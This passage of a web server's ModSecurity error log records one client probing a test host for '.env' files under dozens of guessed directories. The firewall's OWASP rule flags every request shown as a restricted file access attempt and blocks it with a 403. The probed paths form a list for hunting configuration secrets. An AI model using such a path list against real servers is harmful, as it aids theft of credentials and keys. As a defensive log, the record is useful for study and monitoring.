&quot;aZ-NuTf0JOOqB-ib2UlHrwAAAAQ&quot;]
[Thu Feb 26 01:03:05.129822 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrwAAAAQ&quot;]
[Thu Feb 26 01:03:05.129971 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/flask_test_uploads/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHrwAAAAQ&quot;]
[Thu Feb 26 01:03:05.138423 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSwAAAAI&quot;]
[Thu Feb 26 01:03:05.138635 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSwAAAAI&quot;]
[Thu Feb 26 01:03:05.138780 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front/src/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlSwAAAAI&quot;]
[Thu Feb 26 01:03:05.164650 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/momentum-fe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlTAAAAAI&quot;]
[Thu Feb 26 01:03:05.164890 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlTAAAAAI&quot;]
[Thu Feb 26 01:03:05.165038 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/momentum-fe/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlTAAAAAI&quot;]
[Thu Feb 26 01:03:05.165065 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHsAAAAAQ&quot;]
[Thu Feb 26 01:03:05.165291 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHsAAAAAQ&quot;]
[Thu Feb 26 01:03:05.165451 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fm/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHsAAAAAQ&quot;]
[Thu Feb 26 01:03:05.187409 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /font-icons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHsQAAAAQ&quot;]
[Thu Feb 26 01:03:05.187617 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHsQAAAAQ&quot;]
[Thu Feb 26 01:03:05.187801 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/font-icons/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHsQAAAAQ&quot;]
[Thu Feb 26 01:03:05.189263 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlTQAAAAI&quot;]
[Thu Feb 26 01:03:05.189487 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlTQAAAAI&quot;]
[Thu Feb 26 01:03:05.189633 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/react/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlTQAAAAI&quot;]
[Thu Feb 26 01:03:05.219775 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/vue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlTgAAAAI&quot;]
[Thu Feb 26 01:03:05.220040 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlTgAAAAI&quot;]
[Thu Feb 26 01:03:05.220214 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/vue/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlTgAAAAI&quot;]
[Thu Feb 26 01:03:05.225553 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fonts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHsgAAAAQ&quot;]
[Thu Feb 26 01:03:05.225769 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHsgAAAAQ&quot;]
[Thu Feb 26 01:03:05.225932 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fonts/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHsgAAAAQ&quot;]
[Thu Feb 26 01:03:05.253828 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /framework/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHswAAAAQ&quot;]
[Thu Feb 26 01:03:05.254047 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHswAAAAQ&quot;]
[Thu Feb 26 01:03:05.254199 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/framework/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHswAAAAQ&quot;]
[Thu Feb 26 01:03:05.287876 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontendfinaltest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUAAAAAI&quot;]
[Thu Feb 26 01:03:05.288098 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUAAAAAI&quot;]
[Thu Feb 26 01:03:05.288239 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontendfinaltest/.env&quot;] [unique_id &quot;aZ-NuYCbt-ue5ARpbmjlUAAAAAI&quot;]
[Thu Feb 26 01:03:05.290893 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtAAAAAQ&quot;]
[Thu Feb 26 01:03:05.291106 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtAAAAAQ&quot;]
[Thu Feb 26 01:03:05.291270 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-app/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtAAAAAQ&quot;]
[Thu Feb 26 01:03:05.317388 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /front-empathy/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/front-empathy/.env&quot;] [unique_id &quot;aZ-NuTf0JOOqB-ib2UlHtQAAAAQ&quot;]
